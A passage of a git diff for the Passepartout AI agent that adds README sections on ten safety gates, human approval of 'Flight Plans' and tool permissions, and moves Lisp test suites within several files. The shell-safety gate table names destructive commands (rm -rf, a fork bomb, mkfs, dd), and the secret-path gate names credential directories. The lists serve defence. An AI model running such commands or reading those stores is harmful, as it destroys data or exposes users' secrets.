~OPENROUTER_API_KEY~: Your LLM provider key. +- ~PROVIDER_CASCADE~: The fallback order for LLM providers (e.g., ~openrouter,ollama,anthropic~). +- ~MEMEX_DIR~: The absolute path to your knowledge base (defaults to ~/memex~). * Interacting with Passepartout Because of the Unified Envelope Architecture, the kernel treats all clients as interchangeable. You must first boot the background daemon: @@ -86,8 +86,286 @@ Each approval or denial teaches the Dispatcher — the rule counter in the statu * The Memex Structure Passepartout assumes a local folder structure representing your "Memex". - Core memories and identities are mapped to Org-mode files. -- The `Scribe` background worker distills chronological logs into structured Zettelkasten notes. -- The `Gardener` continuously repairs broken links and flags orphaned nodes. +- The ~Scribe~ background worker distills chronological logs into structured Zettelkasten notes. +- The ~Gardener~ continuously repairs broken links and flags orphaned nodes. + +* How Safety Works + +Passepartout enforces safety through ten deterministic gates. Every action the agent wants to take — reading a file, running a shell command, sending network traffic — passes through these gates before execution. Critically, all ten gates are pure Lisp functions: they cost zero LLM tokens to evaluate. Safety checking never touches your provider budget. + +** The Ten Safety Gates + +| Gate | What It Checks | +|------+----------------| +| Lisp syntax | Validates that any Lisp code is well-formed before evaluation | +| Secret file paths | Blocks reads from known secret directories (~.ssh~, ~.env~, ~.aws~, etc.) | +| Self-build core | Prevents modification of the agent's own source and build files | +| Secret content | Scans text output for API keys, tokens, or credential patterns | +| Vault secrets | Guards any secret stored in the encrypted vault | +| Privacy tags | Respects ~@privacy:~ annotations on memory objects and files | +| Privacy text leaks | Scans outgoing text for PII (emails, phone numbers, addresses) | +| Shell safety | Blocks destructive commands (~rm -rf~, ~:(){:|:&};:~, ~mkfs~, ~dd~) | +| Network exfiltration | Blocks outbound traffic carrying private data to unknown hosts | +| High-impact actions | Catches system-level changes (package installs, service restarts, mount) | + +** Severity Tiers + +Each gate assigns a severity to the action it inspects: + +| Severity | Behavior | +|------------+-------------------------------------------------------| +| Catastrophic | Always blocked. No approval possible. | +| Dangerous | Requires HITL approval. Generates a Flight Plan. | +| Moderate | Allowed, but logged. The agent learns from the outcome. | +| Harmless | Always allowed. No logging overhead. | + +** What Happens When an Action Is Blocked + +When a gate blocks an action, the Dispatcher creates a Flight Plan — a structured record of what the agent wants to do, why it was blocked, and which gate triggered. The Flight Plan is presented to you for review. You can approve it (~/approve~), deny it (~/deny~), or ask the agent to clarify its intent (~/clarify~). Once you approve, the action executes immediately. Once you deny, the Dispatcher records the decision as a permanent rule and will never propose that action again. + +* Understanding Context and Focus + +Passepartout uses a foveal-peripheral context model, inspired by human vision. This is how the agent decides what to pay attention to in your Memex. + +** The Three Levels of Attention + +- ~/foveal/~ — What the agent reads deeply and reasons about right now. Anything you explicitly mention, plus the current focused project. +- ~/peripheral/~ — What the agent knows exists (titles, summaries, metadata) but does not read in detail. Everything in scope. +- ~/blind/~ — Outside scope. The agent cannot see or access it. + +** Focus Commands + +| Command | Effect | +|---------------------+---------------------------------------------------------| +| ~/focus ~ | Set the agent's foveal attention to a project | +| ~/scope memex~ | Expand scope to everything in your Memex | +| ~/scope session~ | Narrow scope to just the current conversation | +| ~/scope project~ | Narrow scope to the focused project only | +| ~/unfocus~ | Clear the foveal focus; the agent sees everything at peripheral level | + +** The Focus Map + +The status bar displays a focus map — a compact representation of what the agent is "looking at." Projects in foveal view are highlighted; peripheral projects are dimmed. When you change focus, the map updates in real time so you always know the agent's current attention budget. + +* Skills and What They Do + +Skills are hot-reloadable modules that extend the agent's capabilities. Unlike core system files, a bug in a skill degrades the agent but does not kill it — skills can be repaired by the agent itself. Skills are organized into categories by function: + +** Core Pipeline +The agent's cognitive loop: Perceive (consume input) → Reason (think with the LLM) → Act (execute tools). This is the central nervous system of the agent. + +** Security +~Dispatcher~, ~Policy~, ~Permissions~, ~Validator~, ~Vault~. These skills enforce the safety gates, manage approval workflows, encrypt secrets, and verify that every action conforms to the rules you have set. + +** Channels +~TUI~, ~CLI~, ~Telegram~, ~Signal~, ~Discord~, ~Slack~, ~Shell~. Each channel is a separate skill that handles I/O for a specific interface. All channels are equal citizens — the agent treats a message from Telegram identically to one typed in the TUI. + +** Programming +~Lisp~, ~Org~, literate tools, ~REPL~, standards libraries. These skills allow the agent to write, evaluate, and reason about Lisp code, manage Org-mode documents, and tangle literate programs into runnable source. + +** Symbolic +~Awareness~, ~Scope~, ~Events~, ~Config~, ~Memory~, ~Identity~, ~Time~. These skills manage the agent's internal state: what it knows about itself, what it remembers, how it configures its behavior, and how it tracks time and events. + +** Neuro +~Provider~, ~Router~, ~Explorer~. These skills manage the LLM backends. The Provider skill abstracts each LLM API; the Router decides which provider to use based on cost, latency, and availability; the Explorer discovers new providers. + +** Embedding +Backends for semantic search and native inference. These skills enable the agent to embed text, search your Memex by meaning rather than exact keyword, and run local inference without network calls. + +** Economics +~Tokenizer~, ~Cost Tracker~, ~Token Economics~. These skills count tokens, estimate costs before making LLM calls, track spending across providers, and enforce budget limits. + +* The Tool System + +The agent has ten cognitive tools — discrete actions it can take to interact with your environment. Each tool maps to a specific capability. + +** Read-Only Tools + +| Tool | What It Does | +|-------------------+---------------------------------------------| +| ~search-files~ | Search file contents with regex patterns | +| ~find-files~ | Find files by name using glob patterns | +| ~read-file~ | Read the contents of a file on disk | +| ~list-directory~ | List the contents of a directory | +| ~org-find-headline~ | Find a headline in an Org-mode file | + +** Write Tools + +| Tool | What It Does | +|-------------------+---------------------------------------------| +| ~write-file~ | Create or overwrite a file on disk | +| ~org-modify-file~ | Modify an Org-mode file structurally | +| ~run-shell~ | Execute a shell command | +| ~eval-form~ | Evaluate a Lisp expression | +| ~run-tests~ | Execute a test suite | + +** Auto-Approval + +Write tools are subject to safety-gate inspection. Read-only tools are auto-approved by default (though the agent still checks for secret-file reads). You can configure per-tool auto-approval in your ~.env~ file with the ~AUTO_APPROVE_TOOLS~ variable: + +#+begin_src bash +# Auto-approve read-file and find-files (default) +AUTO_APPROVE_TOOLS=read-file,find-files,list-directory,search-files +#+end_src + +* Cost Tracking + +Every LLM call costs tokens, and tokens cost money. Passepartout tracks this transparently. + +** Token Budgets + +Set ~CONTEXT_MAX_TOKENS~ in your ~.env~ file to cap the total context window the agent may use per interaction: + +#+begin_src bash +CONTEXT_MAX_TOKENS=128000 +#+end_src + +The agent will truncate older context rather than exceed this limit. + +** Per-Call Cost Tracking + +Before every LLM call, the Economics skill estimates the cost (prompt tokens + expected completion tokens) and checks it against your budget. After the call, it records actual usage. The status bar shows your session total. + +** The ~/cost~ Command + +Toggle cost display in the status bar with ~/cost~. When enabled, you'll see a running total like ~[$0.047]~ showing the estimated cost of the current session. + +** Per-Provider Pricing + +Different providers charge different rates. The Router skill is aware of this and will choose the cheapest viable provider for each call unless you pin a specific provider: + +#+begin_src bash +# Pin to a specific provider +PROVIDER_CASCADE=anthropic +#+end_src + +** Prompt Prefix Caching + +Providers that support prefix caching (Claude via Anthropic, some OpenRouter models) automatically benefit from it. The agent reuses the system prompt prefix across calls, and the Economics skill tracks the cache-hit savings separately in the cost breakdown. + +* Session Control + +Passepartout maintains a session history with checkpointed memory snapshots. You can move backward and forward through your session state. + +** Undo and Redo + +| Command | Effect | +|--------------+----------------------------------------------------------| +| ~/undo~ | Restore the memory to the state before your last action | +| ~/redo~ | Re-apply the last undone action | +| ~/rewind ~ | Restore the memory to the state n actions ago | + +** What Gets Restored + +A session rewind restores three things: file changes (files written or modified are reverted), memory objects (the agent's internal knowledge), and TODO states (the roadmap and task tracking). This means you can safely let the agent explore and experiment — if it goes down a wrong path, rewind and redirect. + +* Gate Trace Reference + +Below every agent message in the TUI, you'll see colored lines representing the safety-gate trace for that message. These show you exactly which gates ran on the agent's actions and what happened. + +| Symbol | Meaning | +|--------+------------------------------------------------------------| +| ~✓~ | Green — the gate passed. The action was allowed. | +| ~✗~ | Red — the gate blocked the action. The reason is shown. | +| ~→~ | Yellow — HITL approval required. A Flight Plan is pending. | + +Press ~Ctrl+G~ to toggle gate trace visibility on and off. The most recent gate trace for your last interaction is always available via the ~/why~ command — type ~/why~ and the agent will display the full trace with explanations. + +* Tag System + +Passepartout uses an Org-mode tag system to annotate and control behavior. Tags are metadata appended to headlines and memory objects. + +** Severity Tags + +The ~@tag:severity~ tier controls how strictly the safety system handles a tagged item: + +| Tag | Behavior | +|------------------+--------------------------------------------------------------| +| ~@tag:block~ | The tagged item is treated as catastrophic — always blocked | +| ~@tag:warn~ | The tagged item triggers HITL approval when accessed | +| ~@tag:log~ | Access is allowed but logged for audit | + +** Tag Categories + +Configure which tags trigger which behavior with the ~TAG_CATEGORIES~ environment variable: + +#+begin_src bash +TAG_CATEGORIES=block:warn:log +#+end_src + +** The ~/tags~ Command + +Type ~/tags~ to list all tags currently active in the agent's scope, along with their severity levels and the files or memory objects they apply to. + +* HITL Deep Dive + +When the Safety system blocks an action, a structured workflow begins. Understanding this workflow helps you make informed approval decisions quickly. + +** The Flight Plan Lifecycle + +1. /Trigger/: A gate rates an action Dangerous or Catastrophic, or a ~@tag:warn~ tag is encountered. +2. /Plan/: The Dispatcher serializes the proposed action into a Flight Plan: what tool, what arguments, what file or command, which gate triggered. +3. /Display/: The TUI shows a yellow prompt with the Flight Plan token (~HITL-ab12~). +4. /Review/: Press ~Tab~ to expand the gate trace and see the full Flight Plan details. +5. /Decision/: You type ~/approve HITL-ab12~ or ~/deny HITL-ab12~. +6. /Execute or Discard/: Approved plans execute immediately. Denied plans are discarded. +7. /Learn/: The Dispatcher increments its rule counter and records the decision as a permanent rule. If you denied an action, the Dispatcher will never propose it again. + +** Clarifying Questions + +If you are unsure why the agent wants to perform an action, you can ignore the Flight Plan prompt. After three retries without a decision, the agent escalates by injecting a ~/clarify~ message into the pipeline, asking the agent to explain its intent in plain language. You can then approve or deny with full context. + +** The Rule Counter + +The status bar shows ~[Rules: N]~ — the number of permanent rules the Dispatcher has learned from your decisions. Each approval or denial is a learning event. Over time, the Dispatcher builds a personalized safety profile that reflects your preferences: which actions you always approve, which you always deny, and which you want to review case by case. + +* TUI Keybinding Reference + +The TUI supports a rich set of keyboard shortcuts for efficient interaction. + +** Editing Keys + +| Combo | Action | +|-----------+-------------------------------------------| +| ~Ctrl+D~ | Quit the TUI | +| ~Ctrl+U~ | Clear the current input line | +| ~Ctrl+W~ | Delete the word before the cursor | +| ~Ctrl+A~ | Move cursor to beginning of line (Home) | +| ~Ctrl+E~ | Move cursor to end of line | +| ~Ctrl+K~ | Delete from cursor to end of line | +| ~Ctrl+L~ | Redraw the screen | +| ~Ctrl+X+E~ | Open the current input in your external editor (~$EDITOR~) | +| ~Tab~ | Autocomplete commands, themes, and file paths | + +** Navigation and Control + +| Combo | Action | +|------------------+--------------------------------------------------| +| ~Ctrl+C~ | Interrupt (cascade: stop streaming → stop thinking → quit) | +| ~Ctrl+F~ | Search through message history | +| ~Ctrl+P~ | Open the command palette | +| ~Ctrl+G~ | Toggle gate trace visibility | +| ~Ctrl+X+B~ | Toggle the sidebar (focus map, memory browser) | +| ~Page Up~ | Scroll chat up by 10 lines | +| ~Page Down~ | Scroll chat down by 10 lines | +| ~Up Arrow~ | Previous input in command history | +| ~Down Arrow~ | Next input in command history | + +** The Status Bar + +The status bar at the bottom of the TUI shows the agent's current state at a glance. Each indicator has a specific meaning: + +| Indicator | Meaning | +|------------------+--------------------------------------------------------------------| +| ~[Connected]~ | Green — daemon is reachable on port 9105. Gray — disconnected. | +| ~[Mode: TUI]~ | The current interaction mode (TUI, CLI, Telegram, etc.) | +| ~[Msg: 142]~ | Total messages in the current session | +| ~[↑ 12]~ | Scroll indicator — you are scrolled up 12 lines from the bottom | +| ~[◉]~ | Activity spinner — spinning means the agent is working | +| ~[⟳]~ | Streaming indicator — shown while the agent is generating text | +| ~[$0.047]~ | Session cost (visible when ~/cost~ is toggled on) | +| ~[Rules: 52]~ | Number of permanent HITL rules learned from your decisions | +| ~[prj:my-proj]~ | Current focused project name | * Deployment @@ -180,4 +458,4 @@ Restores from a backup file. Run ~passepartout doctor~ afterward to verify integ ** Memory fails to load on startup - Check ~/memory.snap~ exists and is valid S-expression format - Run ~passepartout doctor~ to diagnose memory integrity -- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory \ No newline at end of file +- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory diff --git a/lisp/channel-cli.lisp b/lisp/channel-cli.lisp index 05649d1..85f7a21 100644 --- a/lisp/channel-cli.lisp +++ b/lisp/channel-cli.lisp @@ -1,16 +1,3 @@ -(in-package :passepartout) - -(defun channel-cli-input (text) - "Processes raw text from the command line." - (inject-stimulus (list :type :EVENT - :payload (list :sensor :user-input :text text) - :meta (list :source :CLI)))) - -(defskill :passepartout-channel-cli - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI)) - :deterministic (lambda (action ctx) (declare (ignore ctx)) action)) - (eval-when (:compile-toplevel :load-toplevel :execute) (ql:quickload :fiveam :silent t)) @@ -33,3 +20,16 @@ (handler-case (progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK")) (error (c) (log-message "CLI: Load-time test FAILED: ~a" c))) + +(in-package :passepartout) + +(defun channel-cli-input (text) + "Processes raw text from the command line." + (stimulus-inject (list :type :EVENT + :payload (list :sensor :user-input :text text) + :meta (list :source :CLI)))) + +(defskill :passepartout-channel-cli + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI)) + :deterministic (lambda (action ctx) (declare (ignore ctx)) action)) diff --git a/lisp/channel-shell.lisp b/lisp/channel-shell.lisp index d0cfd86..ac08d08 100644 --- a/lisp/channel-shell.lisp +++ b/lisp/channel-shell.lisp @@ -1,3 +1,35 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-shell-actuator-tests + (:use :cl :fiveam :passepartout) + (:export #:shell-actuator-suite)) + +(in-package :passepartout-shell-actuator-tests) + +(def-suite shell-actuator-suite :description "Verification of the Shell Actuator") +(in-suite shell-actuator-suite) + +(test test-bwrap-wrap-command + "Contract 2: bwrap-wrap-command returns properly formatted command list." + (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex"))) + (is (member "bwrap" cmdline :test #'string=)) + (is (member "--unshare-net" cmdline :test #'string=)) + (is (member "--unshare-ipc" cmdline :test #'string=)) + (is (member "echo hello" cmdline :test #'string=)))) + +(test test-bwrap-available-p-returns-boolean + "Contract 1: bwrap-available-p returns T or NIL." + (let ((avail (passepartout::bwrap-available-p))) + (is (typep avail 'boolean)))) + +(test test-actuator-shell-execute-echo + "Contract 3: actuator-shell-execute runs echo and returns output." + (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello"))) + (result (passepartout::actuator-shell-execute action nil))) + (is (stringp result)) + (is (search "hello" result :test #'char-equal)))) + (in-package :passepartout) (defvar *bwrap-available* nil @@ -61,35 +93,3 @@ When bwrap is available, wraps the command in a Linux namespace sandbox." (defskill :passepartout-channel-shell :priority 50 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-shell-actuator-tests - (:use :cl :fiveam :passepartout) - (:export #:shell-actuator-suite)) - -(in-package :passepartout-shell-actuator-tests) - -(def-suite shell-actuator-suite :description "Verification of the Shell Actuator") -(in-suite shell-actuator-suite) - -(test test-bwrap-wrap-command - "Contract 2: bwrap-wrap-command returns properly formatted command list." - (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex"))) - (is (member "bwrap" cmdline :test #'string=)) - (is (member "--unshare-net" cmdline :test #'string=)) - (is (member "--unshare-ipc" cmdline :test #'string=)) - (is (member "echo hello" cmdline :test #'string=)))) - -(test test-bwrap-available-p-returns-boolean - "Contract 1: bwrap-available-p returns T or NIL." - (let ((avail (passepartout::bwrap-available-p))) - (is (typep avail 'boolean)))) - -(test test-actuator-shell-execute-echo - "Contract 3: actuator-shell-execute runs echo and returns output." - (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello"))) - (result (passepartout::actuator-shell-execute action nil))) - (is (stringp result)) - (is (search "hello" result :test #'char-equal)))) diff --git a/lisp/channel-tui-view.lisp b/lisp/channel-tui-view.lisp index 5f21126..cdb51d7 100644 --- a/lisp/channel-tui-view.lisp +++ b/lisp/channel-tui-view.lisp @@ -136,6 +136,114 @@ (when id (view-input iw)) (setf (st :dirty) (list nil nil nil)))) +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-tui-view-tests + (:use :cl :fiveam :passepartout) + (:export #:tui-view-suite)) + +(in-package :passepartout-tui-view-tests) + +(def-suite tui-view-suite :description "TUI view rendering helpers") +(in-suite tui-view-suite) + +(test test-char-width-ascii + "Contract 5: ASCII characters (< 128) have width 1." + (is (= 1 (passepartout::char-width #\a))) + (is (= 1 (passepartout::char-width #\Space))) + (is (= 1 (passepartout::char-width #\@)))) + +(test test-char-width-tab + "Contract 5: tab character has width 8." + (is (= 8 (passepartout::char-width #\Tab)))) + +(test test-char-width-cjk + "Contract 5: CJK characters have width 2." + (is (= 2 (passepartout::char-width #\日)))) + +(test test-char-width-null + "Contract 5: null has width 0." + (is (= 0 (passepartout::char-width #\Nul)))) + +(test test-markdown-bold + "Contract 7: parse-markdown-spans detects **bold**." + (let ((segments (passepartout::parse-markdown-spans "hello **world**!"))) + (is (= 3 (length segments))))) + +(test test-markdown-plain + "Contract 7: plain text returns single segment." + (let ((segments (passepartout::parse-markdown-spans "plain"))) + (is (= 1 (length segments))) + (is (string= "plain" (caar segments))))) + +(test test-markdown-url + "Contract 7: parse-markdown-spans detects URLs." + (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more"))) + (is (>= (length segments) 2)) + (is (find t segments :key (lambda (s) (getf (cdr s) :url)))))) + +(test test-markdown-blocks + "Contract 8: parse-markdown-blocks detects code blocks." + (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after")) + (segs (passepartout::parse-markdown-blocks text))) + (is (= 3 (length segs))) + (let ((code (second segs))) + (is (eq t (getf code :code-block))) + (is (string= "lisp" (getf code :lang))) + (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content))))))) + +(test test-markdown-blocks-no-close + "Contract 8: unclosed code block returns content." + (let* ((text (format nil "```~%unclosed code")) + (segs (passepartout::parse-markdown-blocks text))) + (is (= 1 (length segs))) + (is (eq t (getf (first segs) :code-block))))) + +(test test-syntax-highlight + "Contract 9: syntax-highlight colors Lisp code." + (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp"))) + (is (>= (length segs) 3)))) + +(test test-syntax-highlight-keyword + "Contract 9: syntax-highlight colors keywords." + (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp"))) + (is (>= (length segs) 2)) + (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) + +(test test-syntax-highlight-function + "Contract 9: syntax-highlight colors function calls." + (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp"))) + (is (>= (length segs) 2)) + (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) + +(test test-gate-trace-lines-passed + "Contract 9: gate-trace-lines for passed gate." + (let ((lines (passepartout::gate-trace-lines + '((:gate "path" :result :passed))))) + (is (= 1 (length lines))) + (is (eq :gate-passed (getf (cdar lines) :fgcolor))))) + +(test test-gate-trace-lines-blocked + "Contract 9: gate-trace-lines for blocked gate." + (let ((lines (passepartout::gate-trace-lines + '((:gate "shell" :result :blocked :reason "rm"))))) + (is (= 1 (length lines))) + (is (search "rm" (caar lines))))) + +(test test-gate-trace-lines-approval + "Contract 9: gate-trace-lines for approval gate." + (let ((lines (passepartout::gate-trace-lines + '((:gate "network" :result :approval))))) + (is (= 1 (length lines))) + (is (search "HITL" (caar lines))))) + +(test test-init-state-has-collapsed-gates + "Contract v0.7.2: init-state includes :collapsed-gates field." + (passepartout.channel-tui::init-state) + (let ((cg (passepartout.channel-tui::st :collapsed-gates))) + (is (null cg)))) + (in-package :passepartout) (defun char-width (ch) @@ -524,114 +632,6 @@ Respects CJK/emoji char widths via char-width." (refresh win) (- h 1))) -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-tui-view-tests - (:use :cl :fiveam :passepartout) - (:export #:tui-view-suite)) - -(in-package :passepartout-tui-view-tests) - -(def-suite tui-view-suite :description "TUI view rendering helpers") -(in-suite tui-view-suite) - -(test test-char-width-ascii - "Contract 5: ASCII characters (< 128) have width 1." - (is (= 1 (passepartout::char-width #\a))) - (is (= 1 (passepartout::char-width #\Space))) - (is (= 1 (passepartout::char-width #\@)))) - -(test test-char-width-tab - "Contract 5: tab character has width 8." - (is (= 8 (passepartout::char-width #\Tab)))) - -(test test-char-width-cjk - "Contract 5: CJK characters have width 2." - (is (= 2 (passepartout::char-width #\日)))) - -(test test-char-width-null - "Contract 5: null has width 0." - (is (= 0 (passepartout::char-width #\Nul)))) - -(test test-markdown-bold - "Contract 7: parse-markdown-spans detects **bold**." - (let ((segments (passepartout::parse-markdown-spans "hello **world**!"))) - (is (= 3 (length segments))))) - -(test test-markdown-plain - "Contract 7: plain text returns single segment." - (let ((segments (passepartout::parse-markdown-spans "plain"))) - (is (= 1 (length segments))) - (is (string= "plain" (caar segments))))) - -(test test-markdown-url - "Contract 7: parse-markdown-spans detects URLs." - (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more"))) - (is (>= (length segments) 2)) - (is (find t segments :key (lambda (s) (getf (cdr s) :url)))))) - -(test test-markdown-blocks - "Contract 8: parse-markdown-blocks detects code blocks." - (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after")) - (segs (passepartout::parse-markdown-blocks text))) - (is (= 3 (length segs))) - (let ((code (second segs))) - (is (eq t (getf code :code-block))) - (is (string= "lisp" (getf code :lang))) - (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content))))))) - -(test test-markdown-blocks-no-close - "Contract 8: unclosed code block returns content." - (let* ((text (format nil "```~%unclosed code")) - (segs (passepartout::parse-markdown-blocks text))) - (is (= 1 (length segs))) - (is (eq t (getf (first segs) :code-block))))) - -(test test-syntax-highlight - "Contract 9: syntax-highlight colors Lisp code." - (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp"))) - (is (>= (length segs) 3)))) - -(test test-syntax-highlight-keyword - "Contract 9: syntax-highlight colors keywords." - (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp"))) - (is (>= (length segs) 2)) - (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) - -(test test-syntax-highlight-function - "Contract 9: syntax-highlight colors function calls." - (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp"))) - (is (>= (length segs) 2)) - (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) - -(test test-gate-trace-lines-passed - "Contract 9: gate-trace-lines for passed gate." - (let ((lines (passepartout::gate-trace-lines - '((:gate "path" :result :passed))))) - (is (= 1 (length lines))) - (is (eq :gate-passed (getf (cdar lines) :fgcolor))))) - -(test test-gate-trace-lines-blocked - "Contract 9: gate-trace-lines for blocked gate." - (let ((lines (passepartout::gate-trace-lines - '((:gate "shell" :result :blocked :reason "rm"))))) - (is (= 1 (length lines))) - (is (search "rm" (caar lines))))) - -(test test-gate-trace-lines-approval - "Contract 9: gate-trace-lines for approval gate." - (let ((lines (passepartout::gate-trace-lines - '((:gate "network" :result :approval))))) - (is (= 1 (length lines))) - (is (search "HITL" (caar lines))))) - -(test test-init-state-has-collapsed-gates - "Contract v0.7.2: init-state includes :collapsed-gates field." - (passepartout.channel-tui::init-state) - (let ((cg (passepartout.channel-tui::st :collapsed-gates))) - (is (null cg)))) - (in-package :passepartout-tui-view-tests) (test test-theme-hex-string-keys-exist diff --git a/lisp/core-act.lisp b/lisp/core-act.lisp index 6aa2eb4..59ae359 100644 --- a/lisp/core-act.lisp +++ b/lisp/core-act.lisp @@ -1,3 +1,125 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-act-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-act-suite)) + +(in-package :passepartout-pipeline-act-tests) + +(def-suite pipeline-act-suite :description "Test suite for Act pipeline") +(in-suite pipeline-act-suite) + +(test test-loop-gate-act-basic + "Contract 1: approved action reaches :acted status via loop-gate-act." + (clrhash passepartout::*skill-registry*) + (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello")))) + (result (loop-gate-act signal))) + (is (eq :acted (getf signal :status))) + (is (null result)))) + +(test test-loop-gate-act-no-approved-action + "Contract 1: signal with no approved-action still reaches :acted status." + (clrhash passepartout::*skill-registry*) + (let* ((signal (list :type :EVENT :status nil :depth 0))) + (loop-gate-act signal) + (is (eq :acted (getf signal :status))))) + +(test test-loop-gate-act-last-mile-reject + "Contract 1: last-mile cognitive-verify rejection blocks approved-action." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-blocker + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx action)) + (list :type :LOG :payload (list :text "Last-mile block")))) + (let* ((signal (list :type :EVENT :status nil :depth 0 + :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked"))))) + (loop-gate-act signal) + (is (eq :acted (getf signal :status))) + (is (null (getf signal :approved-action))))) + +(test test-loop-gate-act-preserves-meta + "Contract 1: signal metadata is not mutated by loop-gate-act." + (clrhash passepartout::*skill-registry*) + (let* ((meta '(:source :tui :session "s1")) + (signal (list :type :EVENT :status nil :depth 0 :meta meta + :approved-action '(:target :cli :payload (:text "test"))))) + (loop-gate-act signal) + (is (equal meta (getf signal :meta))))) + +(test test-action-dispatch-routes + "Contract 3: action-dispatch routes to registered actuators without crashing." + (actuator-initialize) + (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)")) + '(:type :EVENT :depth 0)))) + (is (numberp result) "eval should return a number"))) + +(test test-tool-timeout-shell + "Contract v0.7.2: shell timeout is 300 seconds." + (is (= 300 (passepartout::tool-timeout "shell")))) + +(test test-tool-timeout-unknown + "Contract v0.7.2: unknown tool gets default 120s." + (is (= 120 (passepartout::tool-timeout "nonexistent-tool")))) + +(test test-verify-write-match + "Contract v0.7.2: verify-write returns T on match." + (let ((path "/tmp/passepartout-verify-test.org") + (content "test content")) + (with-open-file (f path :direction :output :if-exists :supersede) + (write-string content f)) + (unwind-protect + (is (passepartout::verify-write path content)) + (ignore-errors (delete-file path))))) + +(test test-tool-timeout-enforcement + "Contract v0.7.2: tool exceeding timeout returns :error with timeout message." + (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1) + (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "sleep-forever" + :read-only-p nil + :body (lambda (args) + (declare (ignore args)) + (sleep 10) + "done"))) + (unwind-protect + (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil))) + (ctx '(:depth 0)) + (result (passepartout::action-tool-execute action ctx))) + (is (eq :EVENT (getf result :TYPE))) + (let ((payload (getf result :PAYLOAD))) + (is (eq :tool-error (getf payload :SENSOR))) + (is (search "timed out" (string-downcase (getf payload :MESSAGE)))))) + (remhash "sleep-forever" passepartout::*cognitive-tool-registry*) + (remhash "sleep-forever" passepartout::*tool-timeouts*))) + +(test test-tool-cache-read-only + "Contract v0.7.2: read-only tool results are cached and reused." + (let ((call-count 0)) + (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "cache-test" + :read-only-p t + :body (lambda (args) + (declare (ignore args)) + (incf call-count) + (list :status :success :content (format nil "call ~d" call-count))))) + (unwind-protect + (progn + (clrhash passepartout::*tool-cache*) + (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil))) + (ctx '(:depth 0)) + (r1 (passepartout::action-tool-execute action ctx)) + (r2 (passepartout::action-tool-execute action ctx))) + (is (= 1 call-count) "Second call should hit cache, not re-execute") + (let ((p1 (getf r1 :PAYLOAD)) + (p2 (getf r2 :PAYLOAD))) + (is (string= (getf (getf p1 :RESULT) :CONTENT) + (getf (getf p2 :RESULT) :CONTENT)))))) + (remhash "cache-test" passepartout::*cognitive-tool-registry*) + (clrhash passepartout::*tool-cache*)))) + (in-package :passepartout) (defvar *actuator-default* :cli @@ -247,125 +369,3 @@ For approval-required actions, creates a Flight Plan instead of executing." (defun act-gate (signal) (loop-gate-act signal)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-act-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-act-suite)) - -(in-package :passepartout-pipeline-act-tests) - -(def-suite pipeline-act-suite :description "Test suite for Act pipeline") -(in-suite pipeline-act-suite) - -(test test-loop-gate-act-basic - "Contract 1: approved action reaches :acted status via loop-gate-act." - (clrhash passepartout::*skill-registry*) - (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello")))) - (result (loop-gate-act signal))) - (is (eq :acted (getf signal :status))) - (is (null result)))) - -(test test-loop-gate-act-no-approved-action - "Contract 1: signal with no approved-action still reaches :acted status." - (clrhash passepartout::*skill-registry*) - (let* ((signal (list :type :EVENT :status nil :depth 0))) - (loop-gate-act signal) - (is (eq :acted (getf signal :status))))) - -(test test-loop-gate-act-last-mile-reject - "Contract 1: last-mile cognitive-verify rejection blocks approved-action." - (clrhash 